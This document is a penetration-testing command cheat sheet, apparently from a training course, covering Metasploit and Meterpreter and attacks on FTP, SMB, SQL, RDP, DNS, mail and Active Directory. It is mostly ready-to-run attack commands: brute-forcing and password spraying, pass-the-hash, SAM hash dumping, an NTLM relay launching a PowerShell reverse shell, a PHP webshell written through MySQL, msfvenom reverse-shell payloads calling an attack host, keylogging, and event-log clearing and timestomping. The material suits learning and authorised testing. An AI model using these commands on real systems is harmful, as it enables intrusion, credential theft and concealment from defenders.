Command	Description
`show exploits`	Show all exploits within the Framework.
`show payloads`	Show all payloads within the Framework.
`show auxiliary`	Show all auxiliary modules within the Framework.
`search <name>`	Search for exploits or modules within the Framework.
`info`	Load information about a specific exploit or module.
`use <name>`	Load an exploit or module (example: use windows/smb/psexec).
`use <number>`	Load an exploit by using the index number displayed after the search command.
`LHOST`	Your local host’s IP address reachable by the target, often the public IP address when not on a local network. Typically used for reverse shells.
`RHOST`	The remote host or the target. set function Set a specific value (for example, LHOST or RHOST).
`setg <function>`	Set a specific value globally (for example, LHOST or RHOST).
`show options`	Show the options available for a module or exploit.
`show targets`	Show the platforms supported by the exploit.
`set target <number>`	Specify a specific target index if you know the OS and service pack.
`set payload <payload>`	Specify the payload to use.
`set payload <number>`	Specify the payload index number to use after the show payloads command.
`show advanced`	Show advanced options.
`set autorunscript migrate -f`	Automatically migrate to a separate process upon exploit completion.
`check`	Determine whether a target is vulnerable to an attack.
`exploit`	Execute the module or exploit and attack the target.
`exploit -j`	Run the exploit under the context of the job. (This will run the exploit in the background.)
`exploit -z`	Do not interact with the session after successful exploitation.
`exploit -e <encoder>`	Specify the payload encoder to use (example: exploit –e shikata_ga_nai).
`exploit -h`	Display help for the exploit command.
`sessions -l`	List available sessions (used when handling multiple shells).
`sessions -l -v`	List all available sessions and show verbose fields, such as which vulnerability was used when exploiting the system.
`sessions -s <script>`	Run a specific Meterpreter script on all Meterpreter live sessions.
`sessions -K`	Kill all live sessions.
`sessions -c <cmd>`	Execute a command on all live Meterpreter sessions.
`sessions -u <sessionID>`	Upgrade a normal Win32 shell to a Meterpreter console.
`db_create <name>`	Create a database to use with database-driven attacks (example: db_create autopwn).
`db_connect <name>`	Create and connect to a database for driven attacks (example: db_connect autopwn).
`db_nmap`	Use Nmap and place results in a database. (Normal Nmap syntax is supported, such as –sT –v –P0.)
`db_destroy`	Delete the current database.
`db_destroy <user:password@host:port/database>`	Delete database using advanced options.

Meterpreter Commands

Command	Description
`help`	Open Meterpreter usage help.
`run <scriptname>`	Run Meterpreter-based scripts; for a full list check the scripts/meterpreter directory.
`sysinfo`	Show the system information on the compromised target.
`ls`	List the files and folders on the target.
`use priv`	Load the privilege extension for extended Meterpreter libraries.
`ps`	Show all running processes and which accounts are associated with each process.
`migrate <proc. id>`	Migrate to the specific process ID (PID is the target process ID gained from the ps command).
`use incognito`	Load incognito functions. (Used for token stealing and impersonation on a target machine.)
`list_tokens -u`	List available tokens on the target by user.
`list_tokens -g`	List available tokens on the target by group.
`impersonate_token <DOMAIN_NAMEUSERNAME>`	Impersonate a token available on the target.
`steal_token <proc. id>`	Steal the tokens available for a given process and impersonate that token.
`drop_token`	Stop impersonating the current token.
`getsystem`	Attempt to elevate permissions to SYSTEM-level access through multiple attack vectors.
`shell`	Drop into an interactive shell with all available tokens.
`execute -f <cmd.exe> -i`	Execute cmd.exe and interact with it.
`execute -f <cmd.exe> -i -t`	Execute cmd.exe with all available tokens.
`execute -f <cmd.exe> -i -H -t`	Execute cmd.exe with all available tokens and make it a hidden process.
`rev2self`	Revert back to the original user you used to compromise the target.
`reg <command>`	Interact, create, delete, query, set, and much more in the target’s registry.
`setdesktop <number>`	Switch to a different screen based on who is logged in.
`screenshot`	Take a screenshot of the target’s screen.
`upload <filename>`	Upload a file to the target.
`download <filename>`	Download a file from the target.
`keyscan_start`	Start sniffing keystrokes on the remote target.
`keyscan_dump`	Dump the remote keys captured on the target.
`keyscan_stop`	Stop sniffing keystrokes on the remote target.
`getprivs`	Get as many privileges as possible on the target.
`uictl enable <keyboard/mouse>`	Take control of the keyboard and/or mouse.
`background`	Run your current Meterpreter shell in the background.
`hashdump`	Dump all hashes on the target. use sniffer Load the sniffer module.
`sniffer_interfaces`	List the available interfaces on the target.
`sniffer_dump <interfaceID> pcapname`	Start sniffing on the remote target.
`sniffer_start <interfaceID> packet-buffer`	Start sniffing with a specific range for a packet buffer.
`sniffer_stats <interfaceID>`	Grab statistical information from the interface you are sniffing.
`sniffer_stop <interfaceID>`	Stop the sniffer.
`add_user <username> <password> -h <ip>`	Add a user on the remote target.
`add_group_user <"Domain Admins"> <username> -h <ip>`	Add a username to the Domain Administrators group on the remote target.
`clearev`	Clear the event log on the target machine.
`timestomp`	Change file attributes, such as creation date (antiforensics measure).
`reboot`	Reboot the target machine.

Attacking common services

Attacking FTP

Command	Description
`ftp 192.168.2.142`	Connecting to the FTP server using the `ftp` client.
`nc -v 192.168.2.142 21`	Connecting to the FTP server using `netcat`.
`hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142`	Brute-forcing the FTP service.
`medusa -U users.list -P pws.list -h $ip -M ftp -n 2121`	Brute-forcing the FTP service.

Attacking SMB

Command	Description
`smbclient -N -L //10.129.14.128`	Null-session testing against the SMB service.
`smbmap -H 10.129.14.128`	Network share enumeration using `smbmap`.
`smbmap -H 10.129.14.128 -r notes`	Recursive network share enumeration using `smbmap`.
`smbmap -H 10.129.14.128 --download "notes\note.txt"`	Download a specific file from the shared folder.
`smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"`	Upload a specific file to the shared folder.
`rpcclient -U'%' 10.10.110.17`	Null-session with the `rpcclient`.
`./enum4linux-ng.py 10.10.11.45 -A -C`	Automated enumeratition of the SMB service using `enum4linux-ng`.
`crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!'`	Password spraying against different users from a list.
`impacket-psexec administrator:'Password123!'@10.10.110.17`	Connect to the SMB service using the `impacket-psexec`.
`crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec`	Execute a command over the SMB service using `crackmapexec`.
`crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users`	Enumerating Logged-on users.
`crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam`	Extract hashes from the SAM database.
`crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE`	Use the Pass-The-Hash technique to authenticate on the target host.
`impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146`	Dump the SAM database using `impacket-ntlmrelayx`.
`impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <base64 reverse shell>`	Execute a PowerShell based reverse shell using `impacket-ntlmrelayx`.

Attacking SQL Databases

Command	Description
`mysql -u julio -pPassword123 -h 10.129.20.13`	Connecting to the MySQL server.
`sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30`	Connecting to the MSSQL server.
`sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h`	Connecting to the MSSQL server from Linux.
`sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h`	Connecting to the MSSQL server from Linux while Windows Authentication mechanism is used by the MSSQL server.
`mysql> SHOW DATABASES;`	Show all available databases in MySQL.
`mysql> USE htbusers;`	Select a specific database in MySQL.
`mysql> SHOW TABLES;`	Show all available tables in the selected database in MySQL.
`mysql> SELECT * FROM users;`	Select all available entries from the "users" table in MySQL.
`sqlcmd> SELECT name FROM master.dbo.sysdatabases`	Show all available databases in MSSQL.
`sqlcmd> USE htbusers`	Select a specific database in MSSQL.
`sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES`	Show all available tables in the selected database in MSSQL.
`sqlcmd> SELECT * FROM users`	Select all available entries from the "users" table in MSSQL.
`sqlcmd> EXECUTE sp_configure 'show advanced options', 1`	To allow advanced options to be changed.
`sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1`	To enable the xp_cmdshell.
`sqlcmd> RECONFIGURE`	To be used after each sp_configure command to apply the changes.
`sqlcmd> xp_cmdshell 'whoami'`	Execute a system command from MSSQL server.
`mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'`	Create a file using MySQL.
`mysql> show variables like "secure_file_priv";`	Check if the the secure file privileges are empty to read locally stored files on the system.
`sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents`	Read local files in MSSQL.
`mysql> select LOAD_FILE("/etc/passwd");`	Read local files in MySQL.
`sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'`	Hash stealing using the `xp_dirtree` command in MSSQL.
`sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'`	Hash stealing using the `xp_subdirs` command in MSSQL.
`sqlcmd> SELECT srvname, isremote FROM sysservers`	Identify linked servers in MSSQL.
`sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]`	Identify the user and its privileges used for the remote connection in MSSQL.

Attacking RDP

Command	Description
`crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'`	Password spraying against the RDP service.
`hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp`	Brute-forcing the RDP service.
`rdesktop -u admin -p password123 192.168.2.143`	Connect to the RDP service using `rdesktop` in Linux.
`tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}`	Impersonate a user without its password.
`net start sessionhijack`	Execute the RDP session hijack.
`reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f`	Enable "Restricted Admin Mode" on the target Windows host.
`xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA`	Use the Pass-The-Hash technique to login on the target host without a password.

Attacking DNS

Command	Description
`dig AXFR @ns1.inlanefreight.htb inlanefreight.htb`	Perform an AXFR zone transfer attempt against a specific name server.
`subfinder -d inlanefreight.com -v`	Brute-forcing subdomains.
`host support.inlanefreight.com`	DNS lookup for the specified subdomain.

Attacking Email Services

Command	Description
`host -t MX microsoft.com`	DNS lookup for mail servers for the specified domain.
`dig mx inlanefreight.com \\| grep "MX" \\| grep -v ";"`	DNS lookup for mail servers for the specified domain.
`host -t A mail1.inlanefreight.htb.`	DNS lookup of the IPv4 address for the specified subdomain.
`telnet 10.10.110.20 25`	Connect to the SMTP server.
`smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7`	SMTP user enumeration using the RCPT command against the specified host.
`python3 o365spray.py --validate --domain msplaintext.xyz`	Verify the usage of Office365 for the specified domain.
`python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz`	Enumerate existing users using Office365 on the specified domain.
`python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz`	Password spraying against a list of users that use Office365 for the specified domain.
`hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3`	Brute-forcing the POP3 service.
`swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213`	Testing the SMTP service for the open-relay vulnerability.

Pivoting, tunneling and port forwarding

Command	Description
`ifconfig`	Linux-based command that displays all current network configurations of a system.
`ipconfig`	Windows-based command that displays all system network configurations.
`netstat -r`	Command used to display the routing table for all IPv4-based protocols.
`nmap -sT -p22,3306 <IPaddressofTarget>`	Nmap command used to scan a target for open ports allowing SSH or MySQL connections.
`ssh -L 1234:localhost:3306 Ubuntu@<IPaddressofTarget>`	SSH comand used to create an SSH tunnel from a local machine on local port `1234` to a remote target using port 3306.
`netstat -antp \\| grep 1234`	Netstat option used to display network connections associated with a tunnel created. Using `grep` to filter based on local port `1234` .
`nmap -v -sV -p1234 localhost`	Nmap command used to scan a host through a connection that has been made on local port `1234`.
`ssh -L 1234:localhost:3306 8080:localhost:80 ubuntu@<IPaddressofTarget>`	SSH command that instructs the ssh client to request the SSH server forward all data via port `1234` to `localhost:3306`.
`ssh -D 9050 ubuntu@<IPaddressofTarget>`	SSH command used to perform a dynamic port forward on port `9050` and establishes an SSH tunnel with the target. This is part of setting up a SOCKS proxy.
`tail -4 /etc/proxychains.conf`	Linux-based command used to display the last 4 lines of /etc/proxychains.conf. Can be used to ensure socks configurations are in place.
`proxychains nmap -v -sn 172.16.5.1-200`	Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against the hosts in the specified range `172.16.5.1-200` with increased verbosity (`-v`) disabling ping scan (`-sn`).
`proxychains nmap -v -Pn -sT 172.16.5.19`	Used to send traffic generated by an Nmap scan through Proxychains and a SOCKS proxy. Scan is performed against 172.16.5.19 with increased verbosity (`-v`), disabling ping discover (`-Pn`), and using TCP connect scan type (`-sT`).
`proxychains msfconsole`	Uses Proxychains to open Metasploit and send all generated network traffic through a SOCKS proxy.
`msf6 > search rdp_scanner`	Metasploit search that attempts to find a module called `rdp_scanner`.
`proxychains xfreerdp /v:<IPaddressofTarget> /u:victor /p:pass@123`	Used to connect to a target using RDP and a set of credentials using proxychains. This will send all traffic through a SOCKS proxy.
`msfvenom -p windows/x64/meterpreter/reverse_https lhost= <InteralIPofPivotHost> -f exe -o backupscript.exe LPORT=8080`	Uses msfvenom to generate a Windows-based reverse HTTPS Meterpreter payload that will send a call back to the IP address specified following `lhost=` on local port 8080 (`LPORT=8080`). Payload will take the form of an executable file called `backupscript.exe`.
`msf6 > use exploit/multi/handler`	Used to select the multi-handler exploit module in Metasploit.
`scp backupscript.exe ubuntu@<ipAddressofTarget>:~/`	Uses secure copy protocol (`scp`) to transfer the file `backupscript.exe` to the specified host and places it in the Ubuntu user's home directory (`:~/`).
`python3 -m http.server 8123`	Uses Python3 to start a simple HTTP server listening on port `8123`. Can be used to retrieve files from a host.
`Invoke-WebRequest -Uri "http://172.16.5.129:8123/backupscript.exe" -OutFile "C:\backupscript.exe"`	PowerShell command used to download a file called backupscript.exe from a webserver (`172.16.5.129:8123`) and then save the file to location specified after `-OutFile`.
`ssh -R <InternalIPofPivotHost>:8080:0.0.0.0:80 ubuntu@<ipAddressofTarget> -vN`	SSH command used to create a reverse SSH tunnel from a target to an attack host. Traffic is forwarded on port `8080` on the attack host to port `80` on the target.
`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=<IPaddressofAttackHost -f elf -o backupjob LPORT=8080`	Uses msfveom to generate a Linux-based Meterpreter reverse TCP payload that calls back to the IP specified after `LHOST=` on port 8080 (`LPORT=8080`). Payload takes the form of an executable elf file called backupjob.
`msf6> run post/multi/gather/ping_sweep RHOSTS=172.16.5.0/23`	Metasploit command that runs a ping sweep module against the specified network segment (`RHOSTS=172.16.5.0/23`).

`for i in {1..254} ;do (ping -c 1 172.16.5.$i \\| grep "bytes from" &) ;done`	For Loop used on a Linux-based system to discover devices in a specified network segment.
`for /L %i in (1 1 254) do ping 172.16.5.%i -n 1 -w 100 \\| find "Reply"`	For Loop used on a Windows-based system to discover devices in a specified network segment.
`1..254 \\| % {"172.16.5.$($_): $(Test-Connection -count 1 -comp 172.15.5.$($_) -quiet)"}`	PowerShell one-liner used to ping addresses 1 - 254 in the specified network segment.
`msf6 > use auxiliary/server/socks_proxy`	Metasploit command that selects the `socks_proxy` auxiliary module.
`msf6 auxiliary(server/socks_proxy) > jobs`	Metasploit command that lists all currently running jobs.
`socks4 127.0.0.1 9050`	Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 4 proxy is used in combination with proxychains on the specified IP address and port.
`Socks5 127.0.0.1 1080`	Line of text that should be added to /etc/proxychains.conf to ensure a SOCKS version 5 proxy is used in combination with proxychains on the specified IP address and port.
`msf6 > use post/multi/manage/autoroute`	Metasploit command used to select the autoroute module.

`meterpreter > help portfwd`	Meterpreter command used to display the features of the portfwd command.
`meterpreter > portfwd add -l 3300 -p 3389 -r <IPaddressofTarget>`	Meterpreter-based portfwd command that adds a forwarding rule to the current Meterpreter session. This rule forwards network traffic on port 3300 on the local machine to port 3389 (RDP) on the target.
`xfreerdp /v:localhost:3300 /u:victor /p:pass@123`	Uses xfreerdp to connect to a remote host through localhost:3300 using a set of credentials. Port forwarding rules must be in place for this to work properly.
`netstat -antp`	Used to display all (`-a`) active network connections with associated process IDs. `-t` displays only TCP connections.`-n` displays only numerical addresses. `-p` displays process IDs associated with each displayed connection.
`meterpreter > portfwd add -R -l 8081 -p 1234 -L <IPaddressofAttackHost>`	Meterpreter-based portfwd command that adds a forwarding rule that directs traffic coming on on port 8081 to the port `1234` listening on the IP address of the Attack Host.
`meterpreter > bg`	Meterpreter-based command used to run the selected metepreter session in the background. Similar to background a process in Linux
`socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofAttackHost>:80`	Uses Socat to listen on port 8080 and then to fork when the connection is received. It will then connect to the attack host on port 80.
`socat TCP4-LISTEN:8080,fork TCP4:<IPaddressofTarget>:8443`	Uses Socat to listen on port 8080 and then to fork when the connection is received. Then it will connect to the target host on port 8443.
`plink -D 9050 ubuntu@<IPaddressofTarget>`	Windows-based command that uses PuTTY's Plink.exe to perform SSH dynamic port forwarding and establishes an SSH tunnel with the specified target. This will allow for proxy chaining on a Windows host, similar to what is done with Proxychains on a Linux-based host.
`sudo apt-get install sshuttle`	Uses apt-get to install the tool sshuttle.
`sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0 -v`	Runs sshuttle, connects to the target host, and creates a route to the 172.16.5.0 network so traffic can pass from the attack host to hosts on the internal network (`172.16.5.0`).
`sudo git clone https://github.com/klsecservices/rpivot.git`	Clones the rpivot project GitHub repository.
`sudo apt-get install python2.7`	Uses apt-get to install python2.7.
`python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0`	Used to run the rpivot server (`server.py`) on proxy port `9050`, server port `9999` and listening on any IP address (`0.0.0.0`).
`scp -r rpivot ubuntu@<IPaddressOfTarget>`	Uses secure copy protocol to transfer an entire directory and all of its contents to a specified target.
`python2.7 client.py --server-ip 10.10.14.18 --server-port 9999`	Used to run the rpivot client (`client.py`) to connect to the specified rpivot server on the appropriate port.
`proxychains firefox-esr <IPaddressofTargetWebServer>:80`	Opens firefox with Proxychains and sends the web request through a SOCKS proxy server to the specified destination web server.
`python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>`	Use to run the rpivot client to connect to a web server that is using HTTP-Proxy with NTLM authentication.
`netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25`	Windows-based command that uses `netsh.exe` to configure a portproxy rule called `v4tov4` that listens on port 8080 and forwards connections to the destination 172.16.5.25 on port 3389.
`netsh.exe interface portproxy show v4tov4`	Windows-based command used to view the configurations of a portproxy rule called v4tov4.
`git clone https://github.com/iagox86/dnscat2.git`	Clones the `dnscat2` project GitHub repository.
`sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache`	Used to start the dnscat2.rb server running on the specified IP address, port (`53`) & using the domain `inlanefreight.local` with the no-cache option enabled.
`git clone https://github.com/lukebaggett/dnscat2-powershell.git`	Clones the dnscat2-powershell project Github repository.
`Import-Module dnscat2.ps1`	PowerShell command used to import the dnscat2.ps1 tool.
`Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd`	PowerShell command used to connect to a specified dnscat2 server using a IP address, domain name and preshared secret. The client will send back a shell connection to the server (`-Exec cmd`).
`dnscat2> ?`	Used to list dnscat2 options.
`dnscat2> window -i 1`	Used to interact with an established dnscat2 session.
`./chisel server -v -p 1234 --socks5`	Used to start a chisel server in verbose mode listening on port `1234` using SOCKS version 5.
`./chisel client -v 10.129.202.64:1234 socks`	Used to connect to a chisel server at the specified IP address & port using socks.
`git clone https://github.com/utoni/ptunnel-ng.git`	Clones the ptunnel-ng project GitHub repository.
`sudo ./autogen.sh`	Used to run the autogen.sh shell script that will build the necessary ptunnel-ng files.
`sudo ./ptunnel-ng -r10.129.202.64 -R22`	Used to start the ptunnel-ng server on the specified IP address (`-r`) and corresponding port (`-R22`).
`sudo ./ptunnel-ng -p10.129.202.64 -l2222 -r10.129.202.64 -R22`	Used to connect to a specified ptunnel-ng server through local port 2222 (`-l2222`).
`ssh -p2222 -lubuntu 127.0.0.1`	SSH command used to connect to an SSH server through a local port. This can be used to tunnel SSH traffic through an ICMP tunnel.
`regsvr32.exe SocksOverRDP-Plugin.dll`	Windows-based command used to register the SocksOverRDP-PLugin.dll.
`netstat -antb \\|findstr 1080`	Windows-based command used to list TCP network connections listening on port 1080.

Active directory

Initial Enumeration

Command	Description
`nslookup ns1.inlanefreight.com`	Used to query the domain name system and discover the IP address to domain name mapping of the target entered from a Linux-based host.
`sudo tcpdump -i ens224`	Used to start capturing network packets on the network interface proceeding the `-i` option a Linux-based host.
`sudo responder -I ens224 -A`	Used to start responding to & analyzing `LLMNR`, `NBT-NS` and `MDNS` queries on the interface specified proceeding the `-I` option and operating in `Passive Analysis` mode which is activated using `-A`. Performed from a Linux-based host
`fping -asgq 172.16.5.0/23`	Performs a ping sweep on the specified network segment from a Linux-based host.
`sudo nmap -v -A -iL hosts.txt -oN /home/User/Documents/host-enum`	Performs an nmap scan that with OS detection, version detection, script scanning, and traceroute enabled (`-A`) based on a list of hosts (`hosts.txt`) specified in the file proceeding `-iL`. Then outputs the scan results to the file specified after the `-oN`option. Performed from a Linux-based host
`sudo git clone https://github.com/ropnop/kerbrute.git`	Uses `git` to clone the kerbrute tool from a Linux-based host.
`make help`	Used to list compiling options that are possible with `make` from a Linux-based host.
`sudo make all`	Used to compile a `Kerbrute` binary for multiple OS platforms and CPU architectures.
`./kerbrute_linux_amd64`	Used to test the chosen complied `Kebrute` binary from a Linux-based host.
`sudo mv kerbrute_linux_amd64 /usr/local/bin/kerbrute`	Used to move the `Kerbrute` binary to a directory can be set to be in a Linux user's path. Making it easier to use the tool.
`./kerbrute_linux_amd64 userenum -d INLANEFREIGHT.LOCAL --dc 172.16.5.5 jsmith.txt -o kerb-results`	Runs the Kerbrute tool to discover usernames in the domain (`INLANEFREIGHT.LOCAL`) specified proceeding the `-d` option and the associated domain controller specified proceeding `--dc`using a wordlist and outputs (`-o`) the results to a specified file. Performed from a Linux-based host.

LLMNR/NTB-NS Poisoning

Command	Description
`responder -h`	Used to display the usage instructions and various options available in `Responder` from a Linux-based host.
`hashcat -m 5600 forend_ntlmv2 /usr/share/wordlists/rockyou.txt`	Uses `hashcat` to crack `NTLMv2` (`-m`) hashes that were captured by responder and saved in a file (`frond_ntlmv2`). The cracking is done based on a specified wordlist.
`Import-Module .\Inveigh.ps1`	Using the `Import-Module` PowerShell cmd-let to import the Windows-based tool `Inveigh.ps1`.
`(Get-Command Invoke-Inveigh).Parameters`	Used to output many of the options & functionality available with `Invoke-Inveigh`. Peformed from a Windows-based host.
`Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y`	Starts `Inveigh` on a Windows-based host with LLMNR & NBNS spoofing enabled and outputs the results to a file.
`.\Inveigh.exe`	Starts the `C#` implementation of `Inveigh` from a Windows-based host.
`$regkey = "HKLM:SYSTEM\CurrentControlSet\services\NetBT\Parameters\Interfaces" Get-ChildItem $regkey \\|foreach { Set-ItemProperty -Path "$regkey\$($_.pschildname)" -Name NetbiosOptions -Value 2 -Verbose}`	PowerShell script used to disable NBT-NS on a Windows host.

Password Spraying & Password Policies

Command	Description
`#!/bin/bash for x in {{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}}{{A..Z},{0..9}} do echo $x; done`	Bash script used to generate `16,079,616` possible username combinations from a Linux-based host.
`crackmapexec smb 172.16.5.5 -u avazquez -p Password123 --pass-pol`	Uses `CrackMapExec`and valid credentials (`avazquez:Password123`) to enumerate the password policy (`--pass-pol`) from a Linux-based host.
`rpcclient -U "" -N 172.16.5.5`	Uses `rpcclient` to discover information about the domain through `SMB NULL` sessions. Performed from a Linux-based host.
`rpcclient $> querydominfo`	Uses `rpcclient` to enumerate the password policy in a target Windows domain from a Linux-based host.
`enum4linux -P 172.16.5.5`	Uses `enum4linux` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host.
`enum4linux-ng -P 172.16.5.5 -oA ilfreight`	Uses `enum4linux-ng` to enumerate the password policy (`-P`) in a target Windows domain from a Linux-based host, then presents the output in YAML & JSON saved in a file proceeding the `-oA` option.
`ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "*" \\| grep -m 1 -B 10 pwdHistoryLength`	Uses `ldapsearch` to enumerate the password policy in a target Windows domain from a Linux-based host.
`net accounts`	Used to enumerate the password policy in a Windows domain from a Windows-based host.
`Import-Module .\PowerView.ps1`	Uses the Import-Module cmd-let to import the `PowerView.ps1` tool from a Windows-based host.
`Get-DomainPolicy`	Used to enumerate the password policy in a target Windows domain from a Windows-based host.
`enum4linux -U 172.16.5.5 \\| grep "user:" \\| cut -f2 -d"[" \\| cut -f1 -d"]"`	Uses `enum4linux` to discover user accounts in a target Windows domain, then leverages `grep` to filter the output to just display the user from a Linux-based host.
`rpcclient -U "" -N 172.16.5.5 rpcclient $> enumdomuser`	Uses rpcclient to discover user accounts in a target Windows domain from a Linux-based host.
`crackmapexec smb 172.16.5.5 --users`	Uses `CrackMapExec` to discover users (`--users`) in a target Windows domain from a Linux-based host.
`ldapsearch -h 172.16.5.5 -x -b "DC=INLANEFREIGHT,DC=LOCAL" -s sub "(&(objectclass=user))" \\| grep sAMAccountName: \\| cut -f2 -d" "`	Uses `ldapsearch` to discover users in a target Windows doman, then filters the output using `grep` to show only the `sAMAccountName` from a Linux-based host.
`./windapsearch.py --dc-ip 172.16.5.5 -u "" -U`	Uses the python tool `windapsearch.py` to discover users in a target Windows domain from a Linux-based host.
`for u in $(cat valid_users.txt);do rpcclient -U "$u%Welcome1" -c "getusername;quit" 172.16.5.5 \\| grep Authority; done`	Bash one-liner used to perform a password spraying attack using `rpcclient` and a list of users (`valid_users.txt`) from a Linux-based host. It also filters out failed attempts to make the output cleaner.
`kerbrute passwordspray -d inlanefreight.local --dc 172.16.5.5 valid_users.txt Welcome1`	Uses `kerbrute` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u valid_users.txt -p Password123 \\| grep +`	Uses `CrackMapExec` and a list of users (`valid_users.txt`) to perform a password spraying attack against a target Windows domain from a Linux-based host. It also filters out logon failures using `grep`.
`sudo crackmapexec smb 172.16.5.5 -u avazquez -p Password123`	Uses `CrackMapExec` to validate a set of credentials from a Linux-based host.
`sudo crackmapexec smb --local-auth 172.16.5.0/24 -u administrator -H 88ad09182de639ccc6579eb0849751cf \\| grep +`	Uses `CrackMapExec` and the -`-local-auth` flag to ensure only one login attempt is performed from a Linux-based host. This is to ensure accounts are not locked out by enforced password policies. It also filters out logon failures using `grep`.
`Import-Module .\DomainPasswordSpray.ps1`	Used to import the PowerShell-based tool `DomainPasswordSpray.ps1` from a Windows-based host.
`Invoke-DomainPasswordSpray -Password Welcome1 -OutFile spray_success -ErrorAction SilentlyContinue`	Performs a password spraying attack and outputs (-OutFile) the results to a specified file (`spray_success`) from a Windows-based host.

Enumerating Security Controls

Command	Description
`Get-MpComputerStatus`	PowerShell cmd-let used to check the status of `Windows Defender Anti-Virus` from a Windows-based host.
`Get-AppLockerPolicy -Effective \\| select -ExpandProperty RuleCollections`	PowerShell cmd-let used to view `AppLocker` policies from a Windows-based host.
`$ExecutionContext.SessionState.LanguageMode`	PowerShell script used to discover the `PowerShell Language Mode` being used on a Windows-based host. Performed from a Windows-based host.
`Find-LAPSDelegatedGroups`	A `LAPSToolkit` function that discovers `LAPS Delegated Groups` from a Windows-based host.
`Find-AdmPwdExtendedRights`	A `LAPSTookit` function that checks the rights on each computer with LAPS enabled for any groups with read access and users with `All Extended Rights`. Performed from a Windows-based host.
`Get-LAPSComputers`	A `LAPSToolkit` function that searches for computers that have LAPS enabled, discover password expiration and can discover randomized passwords. Performed from a Windows-based host.

Credentialed Enumeration

Command	Description
`xfreerdp /u:forend@inlanefreight.local /p:Klmcargo2 /v:172.16.5.25`	Connects to a Windows target using valid credentials. Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --users`	Authenticates with a Windows target over `smb` using valid credentials and attempts to discover more users (`--users`) in a target Windows domain. Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --groups`	Authenticates with a Windows target over `smb` using valid credentials and attempts to discover groups (`--groups`) in a target Windows domain. Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.125 -u forend -p Klmcargo2 --loggedon-users`	Authenticates with a Windows target over `smb` using valid credentials and attempts to check for a list of logged on users (`--loggedon-users`) on the target Windows host. Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 --shares`	Authenticates with a Windows target over `smb` using valid credentials and attempts to discover any smb shares (`--shares`). Performed from a Linux-based host.
`sudo crackmapexec smb 172.16.5.5 -u forend -p Klmcargo2 -M spider_plus --share Dev-share`	Authenticates with a Windows target over `smb` using valid credentials and utilizes the CrackMapExec module (`-M`) `spider_plus` to go through each readable share (`Dev-share`) and list all readable files. The results are outputted in `JSON`. Performed from a Linux-based host.
`smbmap -u forend -p Klmcargo2 -d INLANEFREIGHT.LOCAL -H 172.16.5.5`	Enumerates the target Windows domain using valid credentials and lists shares & permissions available on each within the context of the valid credentials used and the target Windows host (`-H`). Performed from a Linux-based host.
